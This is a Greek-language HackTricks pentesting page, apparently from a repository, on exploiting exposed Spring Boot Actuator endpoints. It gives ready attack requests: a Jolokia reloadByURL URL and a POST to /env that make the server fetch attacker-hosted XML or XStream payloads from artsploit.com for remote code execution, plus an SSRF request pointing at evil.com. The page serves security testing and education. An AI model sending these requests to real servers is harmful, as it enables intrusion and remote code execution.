hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

7.4 KiB
Raw Blame History

Spring Actuators

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}

Spring Auth Bypass

Από https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Εκμετάλλευση Spring Boot Actuators

Ελέγξτε την αρχική ανάρτηση από [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Βασικά Σημεία:

  • Οι Spring Boot Actuators καταχωρούν endpoints όπως /health, /trace, /beans, /env, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα /health και /info είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια.
  • Ορισμένα endpoints Actuator μπορούν να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, και /heapdump.
  • Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, βρίσκονται κάτω από τη βάση /actuator/.

Τεχνικές Εκμετάλλευσης:

  1. Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia':
  • Το endpoint /jolokia εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
  • Η ενέργεια reloadByURL μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων.
  • Παράδειγμα URL εκμετάλλευσης: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Τροποποίηση Ρυθμίσεων μέσω '/env':
  • Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint /env επιτρέπει την τροποποίηση περιβαλλοντικών ιδιοτήτων.
  • Οι ιδιότητες μπορούν να χειριστούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
  • Παράδειγμα αίτησης POST εκμετάλλευσης:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Άλλες Χρήσιμες Ρυθμίσεις:
  • Ιδιότητες όπως spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, και spring.datasource.tomcat.max-active μπορούν να χειριστούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων.

Πρόσθετες Πληροφορίες:

  • Μια ολοκληρωμένη λίστα με τις προεπιλεγμένες actuators μπορεί να βρεθεί εδώ.
  • Το endpoint /env στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.

Σχετικά Θέματα:

  1. Env + H2 RCE:
  • Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint /env και της βάσης δεδομένων H2 μπορούν να βρεθούν εδώ.
  1. SSRF στο Spring Boot μέσω Λανθασμένης Ερμηνείας Ονόματος Διαδρομής:
  • Η διαχείριση παραμέτρων μήτρας (;) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
  • Παράδειγμα αίτησης εκμετάλλευσης:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}